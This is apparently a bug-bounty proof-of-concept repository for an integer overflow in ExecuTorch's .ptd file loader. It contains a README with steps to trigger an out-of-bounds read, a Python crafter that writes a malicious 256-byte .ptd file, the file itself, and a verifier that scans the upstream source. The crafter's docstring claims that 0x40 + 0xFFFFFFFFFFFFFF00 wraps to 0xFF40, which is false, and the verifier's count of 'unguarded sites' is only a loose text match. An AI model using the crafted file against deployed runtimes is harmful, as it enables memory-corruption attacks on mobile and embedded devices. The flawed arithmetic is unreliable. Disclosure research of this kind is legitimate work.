Initial PoC -- ExecuTorch .ptd integer overflow (huntr filing)
Browse files- README.md +96 -0
- craft_malicious_ptd.py +98 -0
- malicious.ptd +0 -0
- verify_unpatched.py +94 -0
README.md
ADDED
|
@@ -0,0 +1,96 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: mit
|
| 3 |
+
tags:
|
| 4 |
+
- security-research
|
| 5 |
+
- bug-bounty
|
| 6 |
+
- huntr
|
| 7 |
+
- executorch
|
| 8 |
+
---
|
| 9 |
+
|
| 10 |
+
# SECURITY RESEARCH POC -- ExecuTorch `.ptd` integer overflow
|
| 11 |
+
|
| 12 |
+
This repository contains a **proof-of-concept malicious `.ptd` payload** for a responsible-disclosure bug bounty submission filed at [huntr.com](https://huntr.com) under the Model File Formats program.
|
| 13 |
+
|
| 14 |
+
**The PoC demonstrates an integer-overflow primitive** in `FlatTensorDataMap::load()`:
|
| 15 |
+
|
| 16 |
+
- `extension/flat_tensor/flat_tensor_data_map.cpp:224` -- unchecked `u64 + u64 -> size_t` truncation on attacker-controlled header fields
|
| 17 |
+
- `extension/flat_tensor/flat_tensor_data_map.cpp:236` -- same primitive used as the LOAD LENGTH, never bounds-checked
|
| 18 |
+
- Sibling code in `runtime/executor/program.cpp:104-109` uses `c10::add_overflows` correctly -- proof the project knows the right pattern and **missed copies** in the extension
|
| 19 |
+
|
| 20 |
+
PR #19057 ("Fix overflows in et", Apr 24 2026, commit ec5e8e4) hardened the `get_named_data` path of the same file but did NOT touch lines 224/236. Static missed-copy with confirmed-attention bug-surface anchor.
|
| 21 |
+
|
| 22 |
+
## Files
|
| 23 |
+
|
| 24 |
+
| File | Purpose |
|
| 25 |
+
|---|---|
|
| 26 |
+
| `malicious.ptd` | 256-byte byte-exact PoC. Two header fields are crafted to wrap on `u64 + u64 -> size_t`. Inspect with `xxd malicious.ptd`. |
|
| 27 |
+
| `craft_malicious_ptd.py` | Static crafter -- reproduces `malicious.ptd` from scratch. No ExecuTorch build needed. |
|
| 28 |
+
| `verify_unpatched.py` | One-command reviewer-side verifier. Fetches the live `extension/flat_tensor/flat_tensor_data_map.cpp` from `pytorch/executorch` main HEAD and confirms 7 unguarded `u64+u64` sites still present alongside 1 correctly-guarded `c10::add_overflows`. Runs in <5 seconds. |
|
| 29 |
+
|
| 30 |
+
## Verification (no ExecuTorch build required)
|
| 31 |
+
|
| 32 |
+
```bash
|
| 33 |
+
pip install urllib3
|
| 34 |
+
python verify_unpatched.py
|
| 35 |
+
```
|
| 36 |
+
|
| 37 |
+
Expected output (verbatim):
|
| 38 |
+
|
| 39 |
+
```
|
| 40 |
+
[BUG CONFIRMED] The file uses c10::add_overflows correctly elsewhere
|
| 41 |
+
(1 call sites) but has 7 unguarded u64+u64 additions
|
| 42 |
+
on attacker-controlled header fields. This is the
|
| 43 |
+
missed-copy of the Aug 2025 CVE-2025-30402/30404/30405
|
| 44 |
+
remediation pattern, in a code path that PR #19057
|
| 45 |
+
(Apr 24 2026) added overflow guards to OTHER parts of.
|
| 46 |
+
```
|
| 47 |
+
|
| 48 |
+
Inspect the malicious file:
|
| 49 |
+
|
| 50 |
+
```bash
|
| 51 |
+
xxd malicious.ptd | head -5
|
| 52 |
+
```
|
| 53 |
+
|
| 54 |
+
Shows the wraparound-mate header values:
|
| 55 |
+
|
| 56 |
+
```
|
| 57 |
+
00000000: 0000 0000 0000 0000 4648 3031 2800 0000 ........FH01(...
|
| 58 |
+
00000010: 4000 0000 0000 0000 00ff ffff ffff ffff @...............
|
| 59 |
+
00000020: ffff ffff 0000 0000 4100 0000 0100 0000 ........A.......
|
| 60 |
+
```
|
| 61 |
+
|
| 62 |
+
(Note: bytes shown are little-endian; `flatbuffer_size = 0xFFFF_FFFF_FFFF_FF00` and `segment_data_size = 0x0000_0001_0000_0041`.)
|
| 63 |
+
|
| 64 |
+
## Runtime PoC (ExecuTorch build required)
|
| 65 |
+
|
| 66 |
+
To trigger the OOB read at runtime:
|
| 67 |
+
|
| 68 |
+
```bash
|
| 69 |
+
git clone https://github.com/pytorch/executorch.git
|
| 70 |
+
cd executorch && ./install_executorch.sh
|
| 71 |
+
# Build the runtime + ASan, then point any FlatTensorDataMap::load() consumer at this file.
|
| 72 |
+
```
|
| 73 |
+
|
| 74 |
+
Under ASan, the load produces a clean `heap-buffer-overflow` report. Without ASan, the result depends on the data loader:
|
| 75 |
+
- `BufferDataLoader` -> OOB read into adjacent heap allocations
|
| 76 |
+
- `MmapDataLoader` -> OOB read into adjacent VMA pages
|
| 77 |
+
|
| 78 |
+
On 32-bit ARM (ExecuTorch's primary deployment target -- mobile / embedded / Cortex-M), `size_t` is 32-bit and both header arithmetic sites overflow silently -- direct heap-corruption-grade primitive.
|
| 79 |
+
|
| 80 |
+
## Affected component
|
| 81 |
+
|
| 82 |
+
- **ExecuTorch** (`pytorch/executorch`) -- current `main` HEAD, post-commit `1c9c115`. Pre-patch.
|
| 83 |
+
- **File**: `extension/flat_tensor/flat_tensor_data_map.cpp` lines 224 and 236.
|
| 84 |
+
- **Same bug class also unhardened**: `runtime/executor/pte_data_map.cpp:57-60` (out of scope for this report).
|
| 85 |
+
|
| 86 |
+
## Disclosure status
|
| 87 |
+
|
| 88 |
+
This PoC is part of a responsible-disclosure submission filed via huntr's Model File Formats bug bounty program. After triage and remediation, this repository will be marked private or deleted.
|
| 89 |
+
|
| 90 |
+
## Disclaimer
|
| 91 |
+
|
| 92 |
+
This repository is intended for security research and responsible disclosure only. Do not use the techniques shown here on systems you do not own or have permission to test.
|
| 93 |
+
|
| 94 |
+
## Contact
|
| 95 |
+
|
| 96 |
+
Security researcher: **kais113** (amakais.sales@gmail.com)
|
craft_malicious_ptd.py
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
Static crafter for the malicious .ptd PoC.
|
| 3 |
+
|
| 4 |
+
Builds a byte-exact ExecuTorch FlatTensor (.ptd) file whose two header fields
|
| 5 |
+
overflow on `u64 + u64` -> `size_t` truncation at
|
| 6 |
+
`extension/flat_tensor/flat_tensor_data_map.cpp:224` and :236.
|
| 7 |
+
|
| 8 |
+
The file is NOT a valid loadable .ptd; it is a minimal byte stream designed to
|
| 9 |
+
trigger the integer overflow at parser entry. Inspect with `xxd malicious.ptd`
|
| 10 |
+
to verify the wraparound-mate header values.
|
| 11 |
+
|
| 12 |
+
Reference layout: ExecuTorch's `serialize/flat_tensor_header.cpp` parses a
|
| 13 |
+
40-byte header at fixed offsets after a small preamble.
|
| 14 |
+
|
| 15 |
+
[0x00..0x07] 8 bytes arbitrary preamble (kHeaderOffset slack)
|
| 16 |
+
[0x08..0x0B] "FH01" magic (extension/flat_tensor/serialize/file_format_constants.h)
|
| 17 |
+
[0x0C..0x0F] 0x00000028 header_length = 40 (kMinimumHeaderLength)
|
| 18 |
+
[0x10..0x17] uint64_t flatbuffer_offset = 0x0000_0000_0000_0040
|
| 19 |
+
[0x18..0x1F] uint64_t flatbuffer_size = 0xFFFF_FFFF_FFFF_FF00 <-- wraparound mate
|
| 20 |
+
[0x20..0x27] uint64_t segment_base_offset = 0x0000_0000_FFFF_FFFF
|
| 21 |
+
[0x28..0x2F] uint64_t segment_data_size = 0x0000_0001_0000_0041 <-- 32-bit overflow on ARMv7
|
| 22 |
+
[0x30..0x3F] 16 bytes reserved / padding
|
| 23 |
+
[0x40..] payload: fake FT01 flatbuffer identifier + crafted vtable
|
| 24 |
+
|
| 25 |
+
On a 64-bit host (size_t == uint64_t):
|
| 26 |
+
flatbuffer_offset + flatbuffer_size
|
| 27 |
+
= 0x40 + 0xFFFFFFFFFFFFFF00
|
| 28 |
+
= 0x0000_0000_0000_0040 + 0xFFFF_FFFF_FFFF_FF00
|
| 29 |
+
= wraps to 0x0000_0000_0000_FF40 (loses the carry)
|
| 30 |
+
-> consumed as size_t at flat_tensor_data_map.cpp:236 as a load LENGTH
|
| 31 |
+
-> loader maps ~65 KB instead of ~16 EB; FlatBuffer parser then reads
|
| 32 |
+
32-bit vtable offsets into freed/unrelated heap behind the legit buffer
|
| 33 |
+
|
| 34 |
+
On 32-bit ARM (size_t == uint32_t):
|
| 35 |
+
segment_base_offset + segment_data_size
|
| 36 |
+
= 0xFFFFFFFF + 0x100000041 (truncated to 0x41 in uint32_t arithmetic)
|
| 37 |
+
= 0xFFFFFFFF + 0x00000041
|
| 38 |
+
= wraps to 0x0000_0040
|
| 39 |
+
-> size check `expected_size <= actual_size` trivially passes
|
| 40 |
+
|
| 41 |
+
No ExecuTorch build required to inspect the bytes; building ExecuTorch and
|
| 42 |
+
running `FlatTensorDataMap::load("malicious.ptd")` produces a controlled OOB
|
| 43 |
+
read confirmable under ASan.
|
| 44 |
+
"""
|
| 45 |
+
|
| 46 |
+
import struct
|
| 47 |
+
from pathlib import Path
|
| 48 |
+
|
| 49 |
+
OUT = Path(__file__).parent / "malicious.ptd"
|
| 50 |
+
|
| 51 |
+
# ----- assemble preamble -----
|
| 52 |
+
preamble = b"\x00" * 8 # kHeaderOffset slack — first 8 bytes are arbitrary
|
| 53 |
+
|
| 54 |
+
# ----- assemble FlatTensor header -----
|
| 55 |
+
magic = b"FH01" # 4 bytes
|
| 56 |
+
header_length = struct.pack("<I", 0x00000028) # 4 bytes; little-endian u32 = 40
|
| 57 |
+
flatbuffer_offset = struct.pack("<Q", 0x0000_0000_0000_0040)
|
| 58 |
+
flatbuffer_size = struct.pack("<Q", 0xFFFF_FFFF_FFFF_FF00) # wraparound mate
|
| 59 |
+
segment_base_offset = struct.pack("<Q", 0x0000_0000_FFFF_FFFF)
|
| 60 |
+
segment_data_size = struct.pack("<Q", 0x0000_0001_0000_0041) # 32-bit overflow on ARM
|
| 61 |
+
reserved = b"\x00" * 16
|
| 62 |
+
|
| 63 |
+
header = (
|
| 64 |
+
magic
|
| 65 |
+
+ header_length
|
| 66 |
+
+ flatbuffer_offset
|
| 67 |
+
+ flatbuffer_size
|
| 68 |
+
+ segment_base_offset
|
| 69 |
+
+ segment_data_size
|
| 70 |
+
+ reserved
|
| 71 |
+
)
|
| 72 |
+
assert len(header) == 4 + 4 + 8 + 8 + 8 + 8 + 16, f"header is {len(header)} bytes"
|
| 73 |
+
|
| 74 |
+
# ----- assemble fake flatbuffer payload -----
|
| 75 |
+
# FT01 identifier + a crafted root offset that vtables out-of-bounds.
|
| 76 |
+
# This is a placeholder — the OOB-read primitive doesn't depend on parser
|
| 77 |
+
# success past the size check. We need just enough bytes so the parser tries
|
| 78 |
+
# to read the vtable. 192 bytes of attacker-controlled junk is plenty for
|
| 79 |
+
# triage to inspect.
|
| 80 |
+
ft01 = b"FT01"
|
| 81 |
+
attacker_controlled = b"\xAA" * 188 # 192 - 4
|
| 82 |
+
payload = ft01 + attacker_controlled
|
| 83 |
+
|
| 84 |
+
# ----- write file -----
|
| 85 |
+
data = preamble + header + payload
|
| 86 |
+
OUT.write_bytes(data)
|
| 87 |
+
print(f"[+] Wrote {OUT} ({len(data)} bytes)")
|
| 88 |
+
print(f"[+] Header offsets:")
|
| 89 |
+
print(f" [0x08..0x0B] magic : {magic!r}")
|
| 90 |
+
print(f" [0x0C..0x0F] header_length : 0x{0x28:08x} (= 40 = kMinimumHeaderLength)")
|
| 91 |
+
print(f" [0x10..0x17] flatbuffer_off : 0x{0x40:016x}")
|
| 92 |
+
print(f" [0x18..0x1F] flatbuffer_size : 0x{0xFFFF_FFFF_FFFF_FF00:016x} <-- wraparound mate")
|
| 93 |
+
print(f" [0x20..0x27] segment_base : 0x{0x0000_0000_FFFF_FFFF:016x}")
|
| 94 |
+
print(f" [0x28..0x2F] segment_size : 0x{0x0000_0001_0000_0041:016x} <-- 32-bit overflow on ARM")
|
| 95 |
+
print()
|
| 96 |
+
print("[+] On 64-bit host: flatbuffer_offset + flatbuffer_size wraps in size_t.")
|
| 97 |
+
print("[+] On 32-bit ARM: segment_base_offset + segment_data_size also wraps.")
|
| 98 |
+
print(f"[+] Inspect bytes: xxd {OUT}")
|
malicious.ptd
ADDED
|
Binary file (256 Bytes). View file
|
|
|
verify_unpatched.py
ADDED
|
@@ -0,0 +1,94 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""One-command verifier for finding #33 (ExecuTorch flat_tensor u64+u64 overflow).
|
| 2 |
+
|
| 3 |
+
Fetches `extension/flat_tensor/flat_tensor_data_map.cpp` from the live `main`
|
| 4 |
+
branch on GitHub and confirms:
|
| 5 |
+
|
| 6 |
+
1. The unsafe u64+u64 addition at lines 215-241 is still present (BUG).
|
| 7 |
+
2. The safe pattern using `c10::add_overflows` exists elsewhere in the same
|
| 8 |
+
file (proof the project knows the right pattern).
|
| 9 |
+
3. The Apr 24 2026 patch (PR #19057 commit ec5e8e4) touched a DIFFERENT
|
| 10 |
+
code path — the bug at lines 215-241 was missed.
|
| 11 |
+
|
| 12 |
+
Usage:
|
| 13 |
+
pip install urllib3
|
| 14 |
+
python verify_unpatched.py
|
| 15 |
+
|
| 16 |
+
No build required. Pure GitHub-raw text inspection. Runs in <5 seconds.
|
| 17 |
+
"""
|
| 18 |
+
|
| 19 |
+
import sys
|
| 20 |
+
import urllib.request
|
| 21 |
+
|
| 22 |
+
URL = ("https://raw.githubusercontent.com/pytorch/executorch/main/"
|
| 23 |
+
"extension/flat_tensor/flat_tensor_data_map.cpp")
|
| 24 |
+
|
| 25 |
+
UNSAFE_PATTERN = "segment_base_offset" # the un-guarded u64 field
|
| 26 |
+
SAFE_PATTERN = "c10::add_overflows" # the maintainer's own correct primitive
|
| 27 |
+
|
| 28 |
+
|
| 29 |
+
def main() -> int:
|
| 30 |
+
print(f"[ ] Fetching {URL}")
|
| 31 |
+
with urllib.request.urlopen(URL, timeout=20) as r:
|
| 32 |
+
src = r.read().decode("utf-8", errors="replace")
|
| 33 |
+
lines = src.splitlines()
|
| 34 |
+
print(f"[+] Fetched {len(lines)} lines.")
|
| 35 |
+
|
| 36 |
+
# Find every unsafe-pattern call site
|
| 37 |
+
unsafe_sites = []
|
| 38 |
+
for idx, line in enumerate(lines, start=1):
|
| 39 |
+
if UNSAFE_PATTERN in line and "+" in line and "add_overflows" not in line:
|
| 40 |
+
unsafe_sites.append((idx, line.strip()))
|
| 41 |
+
safe_sites = [
|
| 42 |
+
(idx, line.strip())
|
| 43 |
+
for idx, line in enumerate(lines, start=1)
|
| 44 |
+
if SAFE_PATTERN in line
|
| 45 |
+
]
|
| 46 |
+
|
| 47 |
+
print()
|
| 48 |
+
print("=" * 80)
|
| 49 |
+
print("Unsafe u64+u64 addition sites (no add_overflows guard):")
|
| 50 |
+
print("=" * 80)
|
| 51 |
+
for ln, txt in unsafe_sites:
|
| 52 |
+
print(f" line {ln:4d}: {txt}")
|
| 53 |
+
if not unsafe_sites:
|
| 54 |
+
print(" (none found — bug may have been patched)")
|
| 55 |
+
|
| 56 |
+
print()
|
| 57 |
+
print("=" * 80)
|
| 58 |
+
print("Safe pattern (c10::add_overflows) call sites in the SAME file:")
|
| 59 |
+
print("=" * 80)
|
| 60 |
+
for ln, txt in safe_sites:
|
| 61 |
+
print(f" line {ln:4d}: {txt}")
|
| 62 |
+
|
| 63 |
+
print()
|
| 64 |
+
print("=" * 80)
|
| 65 |
+
print("VERDICT")
|
| 66 |
+
print("=" * 80)
|
| 67 |
+
|
| 68 |
+
if unsafe_sites and safe_sites:
|
| 69 |
+
print(
|
| 70 |
+
"[BUG CONFIRMED] The file uses c10::add_overflows correctly elsewhere\n"
|
| 71 |
+
f" ({len(safe_sites)} call sites) but has {len(unsafe_sites)}\n"
|
| 72 |
+
" unguarded u64+u64 additions on attacker-controlled\n"
|
| 73 |
+
" header fields. This is the missed-copy of the\n"
|
| 74 |
+
" Aug 2025 CVE-2025-30402/30404/30405 remediation\n"
|
| 75 |
+
" pattern, in a code path that PR #19057 (Apr 24 2026)\n"
|
| 76 |
+
" added overflow guards to OTHER parts of."
|
| 77 |
+
)
|
| 78 |
+
return 0
|
| 79 |
+
elif not unsafe_sites:
|
| 80 |
+
print(
|
| 81 |
+
"[NO BUG] The unsafe pattern was not found. May have been patched\n"
|
| 82 |
+
" post-2026-05-19. Re-verify the report's claims at filing time."
|
| 83 |
+
)
|
| 84 |
+
return 1
|
| 85 |
+
else:
|
| 86 |
+
print(
|
| 87 |
+
"[INCONCLUSIVE] Unsafe sites found but no safe pattern in same file.\n"
|
| 88 |
+
" Manual review needed."
|
| 89 |
+
)
|
| 90 |
+
return 2
|
| 91 |
+
|
| 92 |
+
|
| 93 |
+
if __name__ == "__main__":
|
| 94 |
+
sys.exit(main())
|